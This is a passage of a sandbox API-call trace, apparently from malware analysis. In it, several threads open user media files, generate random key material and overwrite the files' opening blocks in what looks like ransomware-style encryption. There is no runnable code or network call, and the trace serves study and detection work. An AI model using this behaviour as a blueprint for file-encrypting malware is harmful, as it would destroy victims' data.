Size=0xc800) returned 0x19966840 [0064.966] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a80 [0064.966] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8da0 [0064.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8da0) returned 1 [0064.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed50d0) returned 1 [0064.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c7e0) returned 1 [0064.966] WriteFile (hFile=0x13f0, lpBuffer=0x19966840, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x36bfd80, lpOverlapped=0x0) Thread: id = 417 os_tid = 0xd6c [0048.868] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d2z5wrvhd.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\d2z5wrvhd.m4a")) returned 0x2020 [0048.868] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d2z5wrvhd.m4a", dwFileAttributes=0x20) returned 1 [0064.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d2z5wrvhd.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\d2z5wrvhd.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13ec [0064.933] GetFileSizeEx (in: hFile=0x13ec, lpFileSize=0x9a3fc40 | out: lpFileSize=0x9a3fc40*=78148) returned 1 [0064.933] SetFilePointerEx (in: hFile=0x13ec, liDistanceToMove=0x13140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.933] ReadFile (in: hFile=0x13ec, lpBuffer=0x9a3fbc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9a3fbc0, lpOverlapped=0x0 | out: lpBuffer=0x9a3fbc4*, lpNumberOfBytesRead=0x9a3fbc0*=0x4, lpOverlapped=0x0) returned 1 [0064.934] SetFilePointerEx (in: hFile=0x13ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c38 [0064.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8eb8 [0064.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a80 [0064.934] NtQuerySystemTime (in: CurrentTime=0x9a3fba0 | out: CurrentTime=0x9a3fba0*=132174898289196000) returned 0x0 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x12a99d89 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x4c9af78c [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x561b329c [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x581ec0c2 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x62f96915 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x51bcf2e1 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x2a523c3e [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x7b1109a6 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x70c72485 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x49ae0f68 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x1d988020 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x792957e1 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x45d8d9c7 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x7ae5e6b9 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0xdad9cfa [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x6eae74b8 [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x312039ba [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x7ffe172c [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x56bddd7a [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x225e9a [0064.934] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x64de047f [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x432b1608 [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x1eab658f [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x4d1bb17f [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x6f84141a [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x49966037 [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x64b56ed4 [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x1cc26fa3 [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x6a99e560 [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x29800f04 [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x59dc99fd [0064.935] RtlRandomEx (in: Seed=0x9a3fbac | out: Seed=0x9a3fbac) returned 0x4bde6e25 [0064.946] SetFilePointerEx (in: hFile=0x13ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.946] ReadFile (in: hFile=0x13ec, lpBuffer=0x19941028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9a3fb80, lpOverlapped=0x0 | out: lpBuffer=0x19941028*, lpNumberOfBytesRead=0x9a3fb80*=0xc800, lpOverlapped=0x0) returned 1 [0064.947] SetFilePointerEx (in: hFile=0x13ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c7e0 [0064.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed50d0 [0064.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c38 [0064.948] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c38) returned 1 [0064.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1994d830 [0064.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c38 [0064.950] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a80 [0064.950] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8a80) returned 1 [0064.950] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed50d0) returned 1 [0064.950] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c7e0) returned 1 [0064.950] WriteFile (hFile=0x13ec, lpBuffer=0x1994d830, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9a3fb80, lpOverlapped=0x0) Thread: id = 418 os_tid = 0xd70 [0048.869] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DIZ2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\diz2.gif")) returned 0x2020 [0048.869] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DIZ2.gif", dwFileAttributes=0x20) returned 1 [0064.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DIZ2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\diz2.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13e8 [0064.916] GetFileSizeEx (in: hFile=0x13e8, lpFileSize=0x685f9bc | out: lpFileSize=0x685f9bc*=86769) returned 1 [0064.916] SetFilePointerEx (in: hFile=0x13e8, liDistanceToMove=0x152ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.916] ReadFile (in: hFile=0x13e8, lpBuffer=0x685f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x685f93c, lpOverlapped=0x0 | out: lpBuffer=0x685f940*, lpNumberOfBytesRead=0x685f93c*=0x4, lpOverlapped=0x0) returned 1 [0064.917] SetFilePointerEx (in: hFile=0x13e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94f8 [0064.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e90 [0064.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c38 [0064.917] NtQuerySystemTime (in: CurrentTime=0x685f91c | out: CurrentTime=0x685f91c*=132174898289040000) returned 0x0 [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x262740d3 [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x675a8cba [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x6bfd68ac [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x12ed2958 [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x48b94142 [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x488f9d [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x2db11fd5 [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x404b8456 [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x548d1d8c [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x3012ec1f [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x53cf32bb [0064.917] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x5f9f6250 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x5d62eb5f [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x368ed91c [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x58cd5206 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x6e42805a [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0xe13ebe0 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x498bc2c3 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x633b0293 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x2c95da9d [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x418f23d0 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x66154e90 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x14cbbdf4 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x3a8f7ba4 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x3695547c [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x2996a02 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x51368b9f [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0xc2a76fb [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x1a6c817a [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x4df311f2 [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x7428578b [0064.918] RtlRandomEx (in: Seed=0x685f928 | out: Seed=0x685f928) returned 0x4908ba05 [0064.930] SetFilePointerEx (in: hFile=0x13e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.930] ReadFile (in: hFile=0x13e8, lpBuffer=0x19928018, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x685f8fc, lpOverlapped=0x0 | out: lpBuffer=0x19928018*, lpNumberOfBytesRead=0x685f8fc*=0xc800, lpOverlapped=0x0) returned 1 [0064.930] SetFilePointerEx (in: hFile=0x13e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c7e0 [0064.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed50d0 [0064.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94f8 [0064.930] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec94f8) returned 1 [0064.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19934820 [0064.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94f8 [0064.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c38 [0064.932] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c38) returned 1 [0064.932] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed50d0) returned 1 [0064.932] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c7e0) returned 1 [0064.932] WriteFile (hFile=0x13e8, lpBuffer=0x19934820, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x685f8fc, lpOverlapped=0x0) Thread: id = 419 os_tid = 0xd74 [0048.869] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dj7_9jg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dj7_9jg.wav")) returned 0x2020 [0048.869] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dj7_9jg.wav", dwFileAttributes=0x20) returned 1 [0064.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dj7_9jg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dj7_9jg.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13e4 [0064.900] GetFileSizeEx (in: hFile=0x13e4, lpFileSize=0x2bff9f4 | out: lpFileSize=0x2bff9f4*=18740) returned 1 [0064.900] SetFilePointerEx (in: hFile=0x13e4, liDistanceToMove=0x4930, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.900] ReadFile (in: hFile=0x13e4, lpBuffer=0x2bff978, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bff974, lpOverlapped=0x0 | out: lpBuffer=0x2bff978*, lpNumberOfBytesRead=0x2bff974*=0x4, lpOverlapped=0x0) returned 1 [0064.901] SetFilePointerEx (in: hFile=0x13e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94f8 [0064.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9408 [0064.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e90 [0064.901] NtQuerySystemTime (in: CurrentTime=0x2bff954 | out: CurrentTime=0x2bff954*=132174898288884000) returned 0x0 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x68b00e2 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x5529d7ed [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x5c7a2de1 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x3131e924 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x27e005b6 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x3885c114 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x17ffb3a6 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x812c09d [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x51dc6d00 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x566b9c65 [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x409a79ce [0064.901] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x6ab9945c [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0xa7d9b35 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x4269f01f [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x3b32e913 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x2fe17fd [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x2cc913e0 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x7606226 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x70c166c2 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x7c532e64 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x6ad17b6c [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x21eb3fd8 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x4fdd1b8 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x7b17d1e0 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x58533df2 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x3e8055b8 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x476c1e98 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x2e7d2bed [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x43822d57 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x7d45521c [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0x3f4ca152 [0064.902] RtlRandomEx (in: Seed=0x2bff960 | out: Seed=0x2bff960) returned 0xd56b87 [0064.915] ReadFile (in: hFile=0x13e4, lpBuffer=0x1990f008, nNumberOfBytesToRead=0x4934, lpNumberOfBytesRead=0x2bff950, lpOverlapped=0x0 | out: lpBuffer=0x1990f008*, lpNumberOfBytesRead=0x2bff950*=0x4934, lpOverlapped=0x0) returned 1 [0064.916] SetFilePointerEx (in: hFile=0x13e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.916] WriteFile (hFile=0x13e4, lpBuffer=0x1991b810, nNumberOfBytesToWrite=0x4934, lpNumberOfBytesWritten=0x2bff94c, lpOverlapped=0x0) Thread: id = 420 os_tid = 0xd78 [0048.869] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DO6uQzOdzZ4m.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\do6uqzodzz4m.wav")) returned 0x2020 [0048.870] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DO6uQzOdzZ4m.wav", dwFileAttributes=0x20) returned 1 [0064.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DO6uQzOdzZ4m.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\do6uqzodzz4m.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13e0 [0064.883] GetFileSizeEx (in: hFile=0x13e0, lpFileSize=0x4a8fe70 | out: lpFileSize=0x4a8fe70*=59203) returned 1 [0064.883] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0xe73f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.883] ReadFile (in: hFile=0x13e0, lpBuffer=0x4a8fdf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4a8fdf0, lpOverlapped=0x0 | out: lpBuffer=0x4a8fdf4*, lpNumberOfBytesRead=0x4a8fdf0*=0x4, lpOverlapped=0x0) returned 1 [0064.884] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.884] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9688 [0064.884] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec95e8 [0064.884] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94f8 [0064.884] NtQuerySystemTime (in: CurrentTime=0x4a8fdd0 | out: CurrentTime=0x4a8fdd0*=132174898288728000) returned 0x0 [0064.884] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x19bda876 [0064.884] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x1fc74d3b [0064.884] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x30aa2774 [0064.884] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x773f0f53 [0064.884] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x536d3bdb [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x62f2d1bd [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x1438c51a [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x3273e13a [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x6dcf539e [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x17d97917 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x5b071673 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x5b71599 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x3ba21aa1 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x9aca499 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x6e22b6e2 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x2821417 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x28b695e0 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x743b999c [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x6b5205ac [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x6afc542c [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x7959cd [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x2b531791 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x6863aec7 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x14e28382 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x7929b856 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x765e31bb [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x41903b4b [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x4aaf9845 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x187d96c3 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x616cff40 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x19b6a2d8 [0064.885] RtlRandomEx (in: Seed=0x4a8fddc | out: Seed=0x4a8fddc) returned 0x77873eb8 [0064.897] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.897] ReadFile (in: hFile=0x13e0, lpBuffer=0x9790160, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x4a8fdb0, lpOverlapped=0x0 | out: lpBuffer=0x9790160*, lpNumberOfBytesRead=0x4a8fdb0*=0xc800, lpOverlapped=0x0) returned 1 [0064.897] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.898] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c630 [0064.898] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5b98 [0064.898] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9688 [0064.898] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9688) returned 1 [0064.898] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x979c968 [0064.899] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9688 [0064.900] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94f8 [0064.900] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec94f8) returned 1 [0064.900] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5b98) returned 1 [0064.900] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c630) returned 1 [0064.900] WriteFile 